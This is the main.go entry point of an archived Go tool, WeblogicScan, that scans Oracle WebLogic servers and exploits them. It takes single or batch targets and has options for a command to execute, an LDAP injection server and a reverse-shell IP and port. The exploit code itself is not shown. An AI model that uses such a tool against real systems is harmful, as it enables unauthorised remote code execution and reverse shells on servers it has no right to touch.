This repository has been archived by the owner on Oct 29, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathmain.go
99 lines (88 loc) · 1.87 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package main
import (
"WeblogicScan/utils"
"flag"
"fmt"
"os"
"strings"
)
var (
Url string
Port string
EXP string
Cmd string
Ldap string
Rip string
Rport string
Thread int
file string
)
func usage() {
fmt.Println(`Usage of main.exe:
-u url
you target, example: 127.0.0.1
-p Port
you target Port, example: "whoami"
-e EXP
Exploitation alone, example: ""
-l ldap
ldap server, example: "ldap://127.0.0.1/#eval"
-ri rip
reverse ip
-rp rport
reverse port
-f targets.txt
Read the target from the file and test the vulnerabilities in batches
`)
}
// 使用函数来解析每行并提取主机和端口信息
func parseHostAndPort(line string) (host, port string) {
parts := strings.Split(line, ":")
host = parts[0]
if len(parts) > 1 {
port = parts[1]
} else {
port = "7001" // 设置默认端口为7001
}
return host, port
}
func main() {
flag.StringVar(&Url, "u", "", "your target")
flag.StringVar(&file, "f", "", "Specify batch target")
flag.StringVar(&Port, "p", "", "your target Port")
flag.StringVar(&EXP, "e", "", "only detect")
flag.StringVar(&Cmd, "c", "calc.exe", "command")
flag.StringVar(&Ldap, "l", "", "ldap server")
flag.StringVar(&Rip, "ri", "", "reverse ip")
flag.StringVar(&Rport, "rp", "", "reverse port")
flag.Usage = usage
flag.Parse()
if Port != "" && file != "" {
usage()
os.Exit(0)
}
qi4l := utils.WorkExp{
Url: Url,
Port: Port,
EXP: EXP,
Cmd: Cmd,
Ldap: Ldap,
Rip: Rip,
Rport: Rport,
}
if file != "" {
lines, err := utils.ReadLinesFromFile(file)
if err != nil {
fmt.Println(err)
return
}
for _, line := range lines {
host, port := parseHostAndPort(line) //调用函数进行解析
fmt.Printf("扫描 %s:%s 的结果:\n", host, port)
qi4l.Url = host
qi4l.Port = port
qi4l.WeblogicScanRun()
}
}
qi4l.WeblogicScanRun()
}